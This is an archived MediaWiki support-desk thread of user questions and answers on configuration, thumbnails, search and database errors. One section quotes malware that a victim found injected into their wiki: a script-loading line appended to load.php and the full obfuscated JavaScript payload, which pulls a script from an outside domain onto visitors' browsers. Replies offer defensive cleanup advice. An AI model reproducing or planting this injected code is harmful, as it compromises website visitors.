I want to display svg-images on my wiki. While smaller files are displayed just fine, both as thumbnails and in it’s original size, larger svg-files (over 300 kb) gives me a "internal 500 server error" when I try to upload them or view them. Images are uploaded even though the error message but larger files won't display in the wiki at all, however viewing a specific file in a browser works just fine.

This file doesn’t work (900 kb) - http://www.wappenwiki.org/images/9/93/Bourbonnais_Ancient.svg - http://www.wappenwiki.org/File:Bourbonnais_Ancient.svg

This file are displayed fine when viewed in the wiki (3 kb) - http://wappenwiki.org/images/c/cc/Grave.svg - http://www.wappenwiki.org/File:Grave.svg

Anyone who knows what causes this?

/Joakim 85.24.209.251 (talk) 09:40, 16 November 2013 (UTC)

Hi!

I can see the SVG file Bourbonnais_Ancient.svg. That works. However, I cannot see the File:... page inside MediaWiki. The error 500 will be logged into the servers error log. Check this log file to get more information about the problem. 88.130.67.176 12:19, 16 November 2013 (UTC)

Hi!

Thank you for your reply and sorry for being a bit unclear about the description. I can see the SVG file as well and cannot see the File:... inside MediaWiki.

I've checked the php-error.log and it doesn't give me any clues of might be wrong.

This is my set up in Localsettings.php

# Add more configuration options below.
$wgFileExtensions[] = 'svg';
$wgShowSQLErrors = true;
$wgDebugDumpSql  = true;
$wgUseImageMagick = false;
$wgImageMagickConvertCommand = "/usr/bin/convert";
$wgMaxShellFileSize = 'unlimited';
$wgUploadSizeWarning = 2147483648;
$wgMaxUploadSize = 2147483648;

As soon as I add $wgMaxShellMemory (even with the value "0") the site freezes, without the it the site works fine but larger SVG files aren't showed as thumbnails.

Instead I get this error message:

"Error creating thumbnail:

libgomp: Thread creation failed: Cannot allocate memory" 85.24.209.251 08:47, 18 November 2013 (UTC)

That looks like your server needs more memory, or you need to increase the limits that MediaWiki imposes on $wgMaxShellMemory Ciencia Al Poder (talk) 10:41, 18 November 2013 (UTC)

Thanks! How do I do that? :) (I'm somewhat new to MediaWiki) 85.24.209.251 12:05, 18 November 2013 (UTC)

Hi!

You can set

$wgMaxShellMemory = 202400;

in LocalSettings.php. For me this has solved a similar error ("libgomp: Thread creation failed: Resource temporarily unavailable"). Maybe it helps you as well. 88.130.122.136 12:44, 18 November 2013 (UTC)

That I know, but as said in the description, as soon as I use $wgMaxShellMemory = (with any value) the site freezes when I upload a SVG file. :( 85.24.209.251 18:03, 19 November 2013 (UTC)

That means your server can't handle the rendering of big SVG files because of memory limitations. Buy a server with more memory. Ciencia Al Poder (talk) 10:43, 20 November 2013 (UTC)

Tried that as well, think I have to change web host to solve this. Thank you everyone for you help! 85.24.209.251 19:05, 20 November 2013 (UTC)

For the ("libgomp: Thread creation failed: Resource temporarily unavailable") error you can add this environment variable.

OMP_NUM_THREADS=1

In apache /etc/apache2/envars

export OMP_NUM_THREADS=1 2001:910:10E9:0:3EA9:F4FF:FE5F:11C0 20:16, 20 November 2013 (UTC)

Thank you for this tip; it solved the "libgomp ... resource unavailable" error for me running MW in Apache on CentOS 6.5. 131.215.248.62 19:22, 27 February 2014 (UTC)

How to create random article overview?

Hi all. I can't find some extension that allows to insert first paragraph of some article. And it would be nice if I can sort it by category. Fokebox (talk) 16:27, 16 November 2013 (UTC)

Extension:DynamicPageList (third-party) can extract and display any section of a list of articles (from a category, or whatever), and of course sort by category. You could use it to extract the first section. Although that may not be what you want if the first section contains an infobox. Ciencia Al Poder (talk) 10:26, 18 November 2013 (UTC)

ImageMagick version requirement or recommendation?

The Ubuntu 12.04 repository has ImageMagick 6.6.9-7, an update from May, 2011. Viewing the ImageMagick changelog shows that there have been quite a few updates since then, some of them security updates that may or may not apply to usage in MediaWiki.

However, installing ImageMagick through source is a bit more involved than using the Ubuntu repository.

Does anyone know if the security fixes apply to MediaWiki or new features added to ImageMagick since 6.6.9-7 are being used by MediaWiki? MadenssContinued (talk) 21:26, 16 November 2013 (UTC)

Hi!

According to the INSTALL document, basically any version of ImageMagick 6 should work with MediaWiki, also older ones.

However, it is not a good idea to run outdated software with known security holes. I am pretty sure that an experienced security guy will find a way to exploit one of those weaknesses by uploading a crafted "image" through MediaWiki. So: I would not consider running such an old version of ImageMagick secure, even if you personally do not know of attack vectors against it.

If I were you I would now get in touch with the Ubuntu guys and ask them what is up with this old package. I think they won't like security problems either... ;-) 88.130.76.102 01:25, 17 November 2013 (UTC)

It's all up to your distributor. Ubuntu 12.04 is supported by Canonical until April 2017 so I'd normally expect them to also backport and ship security updates in ImageMagick in their distribution. It would be really a question for your distribution. AKlapper (WMF) (talk) 11:47, 18 November 2013 (UTC)

I have found that very few projects are updated. Reading the propaganda on the issue I find explanations which state this is to keep Ubuntu secure, but running an ancient version of a web server software, such as nginx, IMHO is a security risk. I find the only thing I can count on to be updated are core packages such as Linux kernel, OpenSSL, OpenSSH, PHP, etc, and even then they are just adding security fixes to current version (PHP in 12.04 is 5.3, even though the latest version is 5.5, same thing with Postfix and others I'm sure). Anything that is not in the top 0.5% of popular software is not maintained and should be installed via other sources. MadenssContinued (talk) 01:22, 20 November 2013 (UTC)

"even then they are just adding security fixes to current version" - Errm, but you understand that this is EXACTLY the meaning and expectation I'd have towards an LTS (Long Term Support) version? No new features, just keep things stable.

If you want newer versions (and new feature, and new software bugs), don't run an LTS version. AKlapper (WMF) (talk) 08:34, 20 November 2013 (UTC)

"even then they are just adding security fixes to current version"

Yes, also I think that is a pain. They call it 5.3.3, but in fact they include the security updates of up to 5.3.12 or so and suddenly all your workarounds start failing. That sucks! However, to come back to the topic: With ImageMagick the thing is much more simple: They give you a version, which is known to be unsecure and they do use the proper version number so that also you directly know. Not a clever decision, but a fair deal. 88.130.74.78 14:01, 20 November 2013 (UTC)

Offering nginx 1.2.7 in a repository is eventually going to lead to an unstable machine (i.e. hacked). The largely unmaintained repos are pretty much there to screw over those who are new to using the software - I see experienced Apache devs running the repo version of nginx. Yes, the OS and the most popular packages are stable, but the rest of it is a briar patch.

What you are suggesting the LTS version to be is different from what it is. What you are suggesting makes sense - just maintain the OS and leave it to the user to install the software, but that isn't how they do things. They like to make life exciting. Even Microsoft gets rid of their dangerous software when they release something new (upgrading IE in XP doesn't leave IE 6.0 as an option to be run). MadenssContinued (talk) 16:43, 20 November 2013 (UTC)

Customising titles used in category pages

I am making a glossary of a programming language. Most of the terms are things like "if", "in", "and", which are not suitable as page titles. So my page titles might be something like "if (glossary)", "in (glossary)" etc

When it comes to the category page which lists all the terms, I want them to be listed with simple term names such as "if", "in", "and".

Is this possible, and how can I do it? Morello64 (talk) 22:48, 16 November 2013 (UTC)

Hi!

There is the magic word DISPLAYTITLE. It allows you to format the current page's title header so that it displays differently, e.g. as {{DISPLAYTITLE:title}}.

Although it would be only logical to get this "display title" also in category listings and in things like that, I do not know, if it is really used there as well. Try it! 88.130.76.102 01:13, 17 November 2013 (UTC)

There are 3 things here:

1 - the actual title of the page

2 - the title displayed when you view the page

3 - the title displayed in the category page

For me, 1 has to be the long title, 3 has to be the short title. I think DISPLAYTITLE allows 1 and 2 to be different, but 1 and 3 are always the same.

Maybe I have to create an index page manually, but it seems a shame. Morello64 (talk) 22:24, 17 November 2013 (UTC)

Load.php edited by a virus?

Hello! Please help solve the problem with my mediawiki.

version: MediaWiki 1.21.2 PHP5.3 MySQL: 5.1.16-beta

Sometimes, the site http://wikisound.org/ stop working css. This is due to the fact that the end of the file Load.php is added line:

;document.write(\"<scr\"+\"ipt src=\'/images/2/2f/adonai.js\'><\"+\"/script>\");

(path and file may change)

By removing the line from Load.php everything is normal, but after a while it reappears again. The contents of the file adonai.js:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!\'\'.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}return p}(\'8 e(6){b(5.g&&5.d){2 9=5.d(\\\'m\\\')[0];2 4=5.g(\\\'i\\\');4.7(\\\'j\\\',\\\'k/l\\\');4.7(\\\'6\\\',6);9.r(4)}}8 a(){2 3=c.t.n();2 f=\"v://w.u.3/s\";b((3.h(\"o\")==-1&&3.h(\"p\")!=-1)&&c.q()){e(f)}}a();\',33,33,\'||var|ua|script_tag|document|src|setAttribute|function|head_tag|includeCounter|if|navigator|getElementsByTagName|includeJavascript|url|createElement|indexOf|script|type|text|javascript|head|toLowerCase|chrome|win|javaEnabled|appendChild|f63d800b99be70f047fdae3825ae51d6f63d800b99be70f047fdae3825ae51d6f63d8|userAgent|pp|http|zylaxo\'.split(\'|\'),0,{}))

By entering this code in google you can find some SPAM pages:

• http://med-mar.ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:4n7t106e4
• http://mlp.cutenesskittens.com/index.php?title=Utilisateur:3zi3f207
• http://sizuha.iptime.org/mediawiki/index.php/%EC%82%AC%EC%9A%A9%EC%9E%90:Ugemvh802

Please help! 2.60.27.62 (talk) 06:24, 17 November 2013 (UTC)

Change your password to FTP server, don't use saving password in FTP client. Scan your computer for viruses (what antivirus do you use?). wargo (talk) 09:41, 17 November 2013 (UTC)

Thank you! I'll try. Avast antivirus. 2.60.27.62 10:15, 17 November 2013 (UTC)

Use another antivirus. This may not find this worm that edits your files. wargo (talk) 10:23, 17 November 2013 (UTC)

You should also check your webserver logs. It is important that you get to know how the attacker placed his junk into your files so that you can prevent him from doing that again in the future. Just curing the symptoms will not help you! 88.130.80.157 11:54, 23 November 2013 (UTC)

Hebrew Supported WIKI

Small access restriction problem

Hi,

We're using Mediawiki in our company. A small division within our company wants to start using the wiki as well. I created a new instance for them, with it's own database. For access we're using Active Directory, which works perfectly. However, in our implementation of AD, the small division does not have it's own AD group, so granting access using group restrictions is not possible (unless we make changes to AD, of course, but believe me: that's a pain in the butt to accomplish that here...). The small division consists of 10 people. Is there a possibility to grant just these 10 people access to their wiki, but still use AD ? Or should I abandon AD, and create 10 users so they can login, and subsequently disable user registration ?

Please help. Thank you, Hans 193.173.195.13 (talk) 15:12, 18 November 2013 (UTC)

Hi, iam trying to use ldap extension for connecting to active directory, iam unable to connect with settings in localsettings.php.

can u plz paste how settings are done in localsettings.php to make this work..

Thanks. 14.140.124.69 10:41, 19 December 2013 (UTC)

View "rendered" versions of two revisions side-by-side

When viewing a page's history and comparing two revisions, is there an option or extension that will display both revisions as rendered pages, instead of just the newer version?

Thanks, Aaron 216.8.158.237 (talk) 15:20, 18 November 2013 (UTC)

Such a thing doesn't currently exist. I don't even understand how it would be rendered. Do you have an idea in mind of what you want? ☠MarkAHershberger☢(talk)☣ 17:44, 20 February 2014 (UTC)

[RESOLVED] Fatal exception of type MWException

error_reporting( -1 );
ini_set( 'display_errors', 1 ); 
$wgShowExceptionDetails = true;

Search indexing affected by less-than sign?

I am an end user of a wiki that is not on the Internet. Details:

MediaWiki 1.21.1
PHP 5.3.3
MySQL 5.1.47

The list of extensions doesn't seem to include anything for search. (Not Lucene or Sphinx, for example)

I was just wondering whether anyone else using MediaWiki (without any search extension) sees the same behaviour as me ...

Edit a normal wiki page. Place the following sentence (if I can call it that) on a line by itself:

One < two butundeniably seven > six.

And then try using MediaWiki's search functionality to search for 'butundeniably'. I get: "There were no results matching the query". I suspect the less-than sign is relevant in this behaviour.

Then change the word "two" to be the corresponding digit "2", resulting in this:

One < 2 butundeniably seven > six.

Now the search successfully finds the page.

There is not enough detail currently at Help:Searching to determine whether this behaviour is to be expected. Does anyone else encounter it?

Thanks, Open4D (talk) 17:51, 18 November 2013 (UTC)

Hi!

I have not realized there is such behavour, but I see that your first expression, the one, which won't work, except the spaces looks like an HTML tag. Maybe the MediaWiki parser somehow thinks that "< two" would be a valid HTML tag (one of the self-closing ones) and so it does not take the contents into the search results as it thinks that it's only markup. 88.130.122.136 18:37, 18 November 2013 (UTC)

Hi!

Yes, thank you. I think that could be the reason. If it is, I would ideally like to find out the full details of what's happening, and consider modifying "Help:Searching".

Does anyone know of public MediaWiki wikis (without any search extension) that might not mind if I did a quick test of this? I tried testing with the Project:Sandbox here, but had some problems, and anyway this wiki (www.mediawiki.org) does use Lucene (I believe), and some other search extensions listed here.

Or is it very rare not to use a search extension? Does anyone really bother with the built-in search functionality?

Thanks Open4D (talk) 10:21, 19 November 2013 (UTC)

Or is anyone aware of any technical documentation about the built-in search functionality? I might use this to supplement the user documentation at Help:Searching.

Thanks Open4D (talk) 16:10, 9 December 2013 (UTC)

Hi again!

I am sorry to tell you, but I do not know of more technical docs cocerning the default search.

However, I do think that this search is used often: You don't have to set up anything, it provides some basic options and it works out of the box. So, yeah, I think it will be used widely.

I have just checked that with this search query: "< range of use". It finds pages with that content. A search for "< range of use >" (should display nearly the same pages as the text on the pages continued with these signs), however, that search incorrectly does not display most of the pages.

So: Yes, this behaviour is also reproducable for me. 88.130.91.210 03:33, 10 December 2013 (UTC)

Thanks again 88.130.91.210!

> I do not know of more technical docs cocerning the default search

Does anyone else know?

> this behaviour is also reproducable for me.

And it feels like a bug to me, so I might try Bugzilla next. (Perhaps that way I will also find out some information to let me enhance "Help:Searching".) Open4D (talk) 18:22, 31 December 2013 (UTC)

> And it feels like a bug to me, so I might try Bugzilla next.

I've raised bug 60354. Open4D (talk) 19:46, 22 January 2014 (UTC)

Change location of mysql.sock

Is there a way to have the Setup script look for mysql.sock in a different location? Currently mine is in /tmp/mysql.sock not /var/lib/mysql/mysql.sock.

In the setup configuration GUI I am getting: DB connection error: Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) (localhost).

Check the host, username and password and try again. I am unable to locate the LocalSettings.php file. Lhaynes4 (talk) 23:18, 18 November 2013 (UTC)

I don't know if that would work, but you can try setting, for example, $wgDBserver = "localhost:/tmp/mysql.sock"; instead of simply "localhost"

Or change the configuration in php.ini: mysql.default_socket and mysqli.default_socket Ciencia Al Poder (talk) 10:43, 19 November 2013 (UTC)

It works on me when after changing  $wgDBserver = "localhost:/tmp/mysql.sock"; in includes/DefaultSettings.php  Iampkuhz (talk) 05:29, 10 November 2015 (UTC)

Can't connect to SQL database

So I had to change the password on my sql DB Now I can't even open my wiki where and what file do I edit to connect to my DB again Bgines (talk) 02:06, 19 November 2013 (UTC)

Hi!

Edit LocalSettings.php and adjust the values of $wgDBuser and $wgDBpassword. 88.130.119.75 02:39, 19 November 2013 (UTC)

With me,

I had install all again. 200.175.44.252 18:32, 20 November 2013 (UTC)

When you have the time, no content in the wiki and ... no, not really. Or can you not edit a simple text file? I don't understand that. 88.130.74.78 21:50, 20 November 2013 (UTC)

[RESOLVED] Database fault - edits not possible

I'm getting an error - if I try to edit/create any post/topic , I get a database error. It is like this - A database query syntax error has occurred. This may indicate a bug in the software. The last attempted database query was: (SQL query hidden) from within function ‘CheckUserHooks::updateCheckUserData.’ Database returned error ‘1146: Table 'wikibas._wikicu_changes' doesn't exist (database location).’

If I try to create a new topics, it reverts to the same page as if the topic dosen't exists. Version - MediaWiki - 1.21.2 MySQL - 5.0.96 PHP 5.3.24

EDIT 1 - It is here - lead-board.com/wiki1 Leaderboard (talk) 13:54, 19 November 2013 (UTC)

Seems like the database has not been updated the way it should have been. The database table "_wikicu_changes" is missing inside your database. Try running maintenance/update.php. That might create it. 88.130.119.75 15:09, 19 November 2013 (UTC)

I run it and I get a 404 error , though it is actually present.

I still get the error. Leaderboard (talk) 02:09, 20 November 2013 (UTC)

404 error means the document you're accesing through the web does not exist. Check that you type the correct URL and that the file exists on the server. Ciencia Al Poder (talk) 10:28, 21 November 2013 (UTC)

Ehhm, we are speaking about the update.php script, which cannot be accessed from the web. It must be accessed from the shell. Alternatively you can use the web updater at mw-config/index.php, however that is not as reliable as running the update.php script directly. 88.130.83.37 12:31, 21 November 2013 (UTC)

I went to /mw-config , passed the first step, and got this error

Fatal error: Class 'ArticleFeedbackv5Activity' not found in /home/content/99/11775499/html/wiki1/extensions/ArticleFeedbackv5/ArticleFeedbackv5.php on line 461 Leaderboard (talk) 02:51, 28 November 2013 (UTC)

Edit the file LocalSettings.php and comment the line, which requires the extension ArticleFeedbackv5. It seems like this extension is still included there although not all files of it are present in the file system. 88.130.91.159 13:32, 28 November 2013 (UTC)

Okay , I went to mw-config and re-installed MediaWiki 1.21.2 . It seems to be working now. Thanks! Leaderboard (talk) 07:08, 29 November 2013 (UTC)

How to install/create mbox templates for idiots (like me)

I have been googling and googling and no success finding a solid and complete explanation on how to create mbox templates.

If anyone can explain it to me or point me to instructions some place (and assume I'm a complete idiot and know nothing about making MediaWiki templates), I would greatly appreciate it! MadenssContinued (talk) 01:26, 20 November 2013 (UTC)

What do you mean by "mbox templates"? Do you mean this template? Just export it from there using this link and then import that to your own wiki. You'll also need to install and configure the Scribunto extension. ☠MarkAHershberger☢(talk)☣ 17:55, 5 February 2014 (UTC)

if someone edit the mediawiki page me or who has the mediawiki account need to get email notification. how can i do that?

from mediawiki help page i got the below code.

in that they have mentioned like i have to include the below code inside LocalSettings.php

# Setting for email notification
require_once("$IP/extensions/NewUserNotif/NewUserNotif.php"); //includes email notification
$wgNewUserNotifTargets = "";  //Editors username

here i need to provide IP address in place of IP right?

when i tried the above in the production environment i got the below error.

Fatal error: require_once(): Failed opening required
 '/opt/lampp/htdocs/mediawiki/extensions/NewUserNotif/NewUserNotif.php'
 (include_path='.:/opt/lampp/lib/php')
 in /opt/lampp/htdocs/mediawiki/LocalSettings.php on line 153

what it means?

Do i need to add include_path='.:/opt/lampp/lib/php' inside LocalSettings.php?

How can i proceed further...? Please help.. 15.211.201.84 (talk) 10:54, 20 November 2013 (UTC)

What help page say that?

That means /opt/lampp/htdocs/mediawiki/extensions/NewUserNotif/NewUserNotif.php doesn't exist on your server. It's a MediaWiki extension (Extension:New User Email Notification). You need to download the extension and install it on your server. Ciencia Al Poder (talk) 10:33, 21 November 2013 (UTC)

Thanks for your reply...

How can I download the extension and install it on server?

is there any code for that?

Please help...

expecting your help quick reply..

thank you 15.211.201.86 08:44, 25 November 2013 (UTC)

Please answer questions so people can you help. Still unanswered: "What help page say that?" AKlapper (WMF) (talk) 12:54, 25 November 2013 (UTC)

sorry....

same page which you have mentioned above ( http://www.mediawiki.org/wiki/Extension:New_User_Email_Notification ) 15.211.201.83 08:44, 27 November 2013 (UTC)

I wanted to link to https://www.mediawiki.org/wiki/Manual:Extensions#Installing_an_extension but that's outdated (mentions SVN instead of Git), so maybe also https://www.mediawiki.org/wiki/Download_from_Git AKlapper (WMF) (talk) 09:05, 27 November 2013 (UTC)

Problem with Upload Files

I've installed mediawiki in Debian 7, with apache2 + php5 + mysql. When i add files, this error occours: [d5156857] 2013-11-20 18:01:25: Fatal exception of type UploadStashFileException Somebody know this errors? Thanks for all, and I wait for your tips. 200.175.44.252 (talk) 18:30, 20 November 2013 (UTC)

Read Manual:How to debug to find a descriptive error message that could let you and us to diagnose the problem.

It's usually a filesystem permission problem for the images folder Ciencia Al Poder (talk) 10:37, 21 November 2013 (UTC)

I try this, and returned this error:

Warning: wfMkdirParents: failed to mkdir "/var/www/wiki/mediawiki-1.21.3/images/temp/9/9a" mode 0777 i/var/www/wiki/mediawiki-1.21.3/Includes/GlobalFunctions.php on line 2582

The permissions are the problem? 200.175.44.252 13:15, 21 November 2013 (UTC)

Yes, I think so. 88.130.83.37 15:13, 21 November 2013 (UTC)

PDF Export

I'm running a mediawiki with the following settings:

MediaWiki 1.21.2

PHP 5.3.10-1ubuntu3.8 (apache2handler)

MySQL 5.5.34-0ubuntu0.12.04.1

and the mwlib with Extension:Collection (Version 1.6.1).

Since there is no ability to create a title page with the PDF Export features, my idea was to create insert a template at the start of the document.

When I was originally setting up the wiki, I thought I saw some tags or magic words that could be used to prevent text from being printed in the wiki but still render in a PDF (something like "show in wiki" or "only in wiki", and a corresponding command for PDFs). After looking around a while today, I wasn't able to find anything about this feature.

Does anyone know these options or have another suggestion as to how I could create a title page that will only appear in the PDF?

Thank you. SpartanGuy07 (talk) 22:06, 20 November 2013 (UTC)

Looking for information on how IT groups use MediaWiki

My apologies if this is the completely wrong place for this question. If it is (and even if it isn't) I'd be grateful for pointers to other sites that have the sort of information I'm after.

I work for an IT organization, and I've been tasked with designing an information architecture to serve as a new knowledge base for us. I know there must be many IT groups that use MediaWiki for this purpose, and I'd like to get a sense of how those groups categorize and structure their in-wiki information.

Any pointers are appreciated.

-john Jfoxiv (talk) 00:10, 21 November 2013 (UTC)

You might want to check stackoverflow, serverfault, or one of the other StackExchange Technology sites. Those sites are loaded with professionals and probably one of them has done this before, just be sure to do a search and if you can't find an answer to your satisfaction be sure to ask your question in a very specific way or it will promptly get the banhammer. MadenssContinued (talk) 05:08, 21 November 2013 (UTC)

Autocompletion placed incorrectly.

Please help! When I place a search form on the right, thn autocompletion list is out of the screen. How do I get it to be placed under the search bar? 89.222.167.6 (talk) 13:45, 21 November 2013 (UTC)

Hi!

I had a similar problem with a skin of mine. Finally I adjusted the location with CSS; that moved it to the right place again. 88.130.83.37 15:11, 21 November 2013 (UTC)

Please give an example. 89.222.167.6 09:18, 22 November 2013 (UTC)

How to use php ? Or how can i write in all pages

Hi, I use PHP 5.3, Mediawiki v1.18 and MySQL v5.5. I want to put a php form question in ALL pages and i don't know how to right it - insert a php code. Do you know how I can do this ? I thought in the php file that create all wiki's page but I don't find it ...

Thank's for answering!

AnreW 80.12.110.202 (talk) 14:26, 21 November 2013 (UTC)

Hi Anre!

Quick and dirty: You can edit the file skins/Vector.php. The HTML structure in this file is used as template for all wiki pages. Add your stuff there and it will be visible on any page.

I am pretty sure that the same can also be done via Manual:Hooks. If you want to go that way you would have to find the hook, which allows you to insert stuff into the page and then put the according code in your LocalSettings.php file. Maybe a bit more difficult than my first idea, but definitely cleaner. 88.130.83.37 15:09, 21 November 2013 (UTC)

Thanks !! I will try both :) 80.12.110.202 15:29, 21 November 2013 (UTC)

Hi !

I use Mediawiki 1.18 - SQL 5.5 and PHP 5.2, and I have the same problem ok Anre .

I want to change all pages by making a servey , (if you answer it you can see the page and I save a cookie for next pages), but when I try to modify skins/vector.php (I know it's the dirty way) it doesn't results...

I did a changement before and after $this->html('bodycontent') to alter the body of the page but I obtain a 500 Error ... 193.252.157.50 09:49, 22 November 2013 (UTC)

Then you did something wrong. Check your webservers error log to get more information on that error. However, as to what you write, just reverting your changes should fix it as well. 88.130.86.135 12:36, 22 November 2013 (UTC)

Manually importing database, no wiki-contents visible

Hi there,

I need assistance with a little tricky situation. Here´s the scenario: A backup from an older Wiki (1.13.3) installation was made and the MySQL is not corrupted. Installing the latest Wiki (1.21.3) and importing the MySQL worked faultlessly but the real issue is that when browsing the wiki it is showing a fresh state with no contents, although the import of the MySQL tables has worked. How can I make the old contents visible/accessible again? Please note that on the old Wiki installation webspace there is no access anymore. 95.91.241.31 (talk) 17:31, 21 November 2013 (UTC)

Hi!

I guess that in LocalSettings.php in the root of your MediaWiki installation you do not have the MySQL username and password for the correct database. Please make sure that username, password and database name point to that DB, into which you have imported the old MediaWiki database.

When you import a DB from an older MediaWiki version and then you want to use it with a newer MediaWiki version, you first must run maintenance/update.php. Make sure that you did! 88.130.83.37 19:06, 21 November 2013 (UTC)

Gracias, the LocalSettings.php should be okay since it´s a new installation and the tables from the old wiki have been imported. But how do I exactly "run maintenance/update.php"? Via webbrowser I get a Error 403 message displayed and using SSH I didn´t figure how to execute that script on the shell. Any hint? Thanks in advance. 95.91.240.208 16:59, 22 November 2013 (UTC)

See Manual:Upgrading#Run the update script Ciencia Al Poder (talk) 18:08, 22 November 2013 (UTC)

Use the shell and give PHP the command to run the script. E.g.

cd maintenance

php update.php

Maybe the command is not called "php", but somehow different, e.g. "php5" or "php53"; that depends on how your server is set up.

Manual:Upgrading#Run_the_update_script has all the information. 88.130.86.135 19:12, 22 November 2013 (UTC)

Deleted l10n cache table :(

Hi

By accident i deleted the l10n cache table i the database - how can i redo/store it ?

Thanks ! 193.239.99.18 (talk) 09:38, 22 November 2013 (UTC)

I tried to create the table by hand but no luck !

Any script to rewrite it in database ? 193.239.99.18 09:50, 22 November 2013 (UTC)

May be this page can help you : [] 193.252.157.50 09:55, 22 November 2013 (UTC)

There's a ./maintenance/tables.sql file inside the installation directory, which is the script that creates the database. You can locate there the create table statement to recreate that table. Ciencia Al Poder (talk) 10:27, 22 November 2013 (UTC)

Pages loading without Style Sheets

I have just installed the Wiki software and am having trouble getting the pages to render properly as they load. If I hit refresh in the browser the page loads correctly with all the formatting, but the first time the page loads it loads without the header and sidebar and without the style sheet formatting.

The installation is here:-

http://www.eicmarbella.org/staff/index.php

Version Info:-

Media Wiki 1.21.3

PHP 5.3

MySQL 5.5.32 Geofflaw (talk) 11:29, 22 November 2013 (UTC)

Works for me; also on the first hit. Seems like ou could solve it already. 88.130.86.135 12:34, 22 November 2013 (UTC)

I was able to reproduce the issue on the second load of the page.

Access to load.php URLs gave a HTTP 500 error. The error seems to be intermittent.

Is your server using Gentoo? There seems to be a bug in the PHP package that ships with Gentoo that causes segfaults on apache under certain circumstances, and it appears to happen with load.php urls. See Project:Support desk/Flow/2013/06#h-Load.php_causing_segfault-2013-06-05T02:37:00.000Z. The solution to this may require to recompile PHP from source and install it instead of using the Gentoo package.

Otherwise, check your apache error logs to see a more detailed error message so we can investigate. Ciencia Al Poder (talk) 18:06, 22 November 2013 (UTC)

wiki family - images from the poolwiki used in the wiki family say "There are no pages that link to this file" ?

Hi,

we run a family wiki - MediaWiki 1.21.2 PHP 5.3.26 (apache2handler) MySQL 5.6.11

and use a poolwiki to upload all media only once. works all perfect but though the media is in many articles the mediafile itself in the commons says

"There are no pages that link to this file"

Any ideas! Thanks Donxello (talk) 14:10, 22 November 2013 (UTC)

wikapedia app for sideloading

Hello, is it possible to get hold of the windows 8 Wikipedia .appx for Side loading, this would be grate for us in education if we could push install the app to our windows 8 computers. 92.239.154.171 (talk) 19:19, 22 November 2013 (UTC)

http://dumps.wikimedia.org/win8/release10/ <- 1.0.x version for Windows 8, 1.1.x for 8.1. brion (talk) 21:20, 26 November 2013 (UTC)

Transclude page with permalink?

Is there any way to transclude a wiki page by using its permalink? 84.184.10.26 (talk) 22:11, 22 November 2013 (UTC)

Not that I know of. What do you want to do? 88.130.80.157 00:40, 23 November 2013 (UTC)

I want a changelog for my software. Actually i have a page called e.g. Software, where the current state will be shown. For every old state i create a subpage. The subpages are transcluded in an collapsible frame. Please see below. Now, if i update the current state of the software i thougt i could transclude the old state using either the template oldid2 or Special:Permalink/oldid. But both are not working.

<div class="mw-collapsible mw-collapsed">
  Version 2.4
  <div class="mw-collapsible-content">
    {{:Software/2.4}}
  </div>
</div>
<div class="mw-collapsible mw-collapsed">
  Version 2.5
  <div class="mw-collapsible-content">
    {{:Software/2.5}}
  </div>
</div>

84.184.59.201 11:45, 23 November 2013 (UTC)

No, you can't transclude an old version. It will transclude always the most recent one. You should manually create different pages (or subpages) for each version you want to transclude. Ciencia Al Poder (talk) 10:29, 27 November 2013 (UTC)

Local File Links?

Greetings All!

I'm looking for help with creating links that open local files on our server. First, the prerequisite background info:

-I'm using MediaWiki -The URL for our company wiki is internal, so unfortunately I can't give it out.

Essentially, I want to create links that open Quicktime .mov files located on our server. I've tried both File://[UNC File Path], File:///[UNC File Path], and <a href="[UNC File Path]"> to no avail. I also installed the LocalLinks 1.1 extension for Chrome, just in case that was the problem, but no-go. Perhaps someone has the arcane skills to help figure this out.

Thanks in Advance. 71.95.169.110 (talk) 23:27, 22 November 2013 (UTC)

Hi!

Isn't there a way to at least display the link to the file directly on wiki pages? I think that worked either with the prefix File: or with Media:. Then the file is only one click away. 88.130.80.157 00:46, 23 November 2013 (UTC)

Well yes, I can display the local file path just fine. However, I don't think I can upload every file I want to link to as they are 2K videos for VFX elements. We just don't want to store that much data on the Wiki. I suppose the user could always copy/paste the path into Explorer, but for ease of use I wanted to have it open the path in a new Explorer window right from the browser with one click. 71.95.169.110 00:58, 23 November 2013 (UTC)

If those files are accessible through HTTP, just put a link to it. This is the most convenient way: Publish the folder containing those files on a web server. Be sure to use a hostname/IP accessible from all users accessing the wiki.

If they're network paths, you can enable the file:// protocol editing $wgUrlProtocols. Be sure to edit it right as explained on that page. Ciencia Al Poder (talk) 10:28, 27 November 2013 (UTC)

Wanted page from image with no reference to that page

Our wiki reports a number of "Wanted Pages". Clicking the "# Links" link to view the "What Links Here" page for the wanted page shows several images. However, nothing in those images references that page. In some cases, the image has been deleted, but in other cases the image exists.

It looks like the image was used on the page, then the page was deleted. Why does the image still reference the deleted page? Is there a workaround to this issue? A large number of deleted pages appear on our list of "Wanted pages" making the report useless.

Server info:

MediaWiki 1.19.4 PHP 5.2.17 (apache2handler) MySQL 5.5.12-log Joseph.messerschmidt (talk) 00:16, 23 November 2013 (UTC)

Hi Joseph,

MediaWiki stores the information whether a page is linked from somewhere in several database tables and sometimes this information just becomes incorrect. Use the maintenance script rebuildall.php to fix that; this will rebuild that information. 88.130.80.157 00:43, 23 November 2013 (UTC)

[RESOLVED] 1.21.3 Update

Recently updated to MediaWiki 1.21.3 after downloading the latest pack, but the version displayed under Special:Version is 1.21.2. Is there an issue with the pack or is there another update I need to install separately? 119.15.79.125 (talk) 01:07, 23 November 2013 (UTC)

Hi!

No, there is no such issue. Downloading the package alone is not enough; you also have to extract it and to overwrite the files in your wiki installation with the contents. See Upgrade for all the steps needed! 88.130.80.157 11:22, 23 November 2013 (UTC)

Yes, I have done that. This isn't my first time updating my MediaWiki installation, I am aware that I need to extract the pack and upload the files; I figured that would go without saying. ;)

To be more specific: despite updating all of the files from the latest pack and running the upgrade successfully, Special:Version still shows 1.21.2 rather than 1.21.3. 119.15.79.125 12:19, 24 November 2013 (UTC)

I should also mention, I'm upgrading from 1.21.1. 119.15.79.125 12:23, 24 November 2013 (UTC)

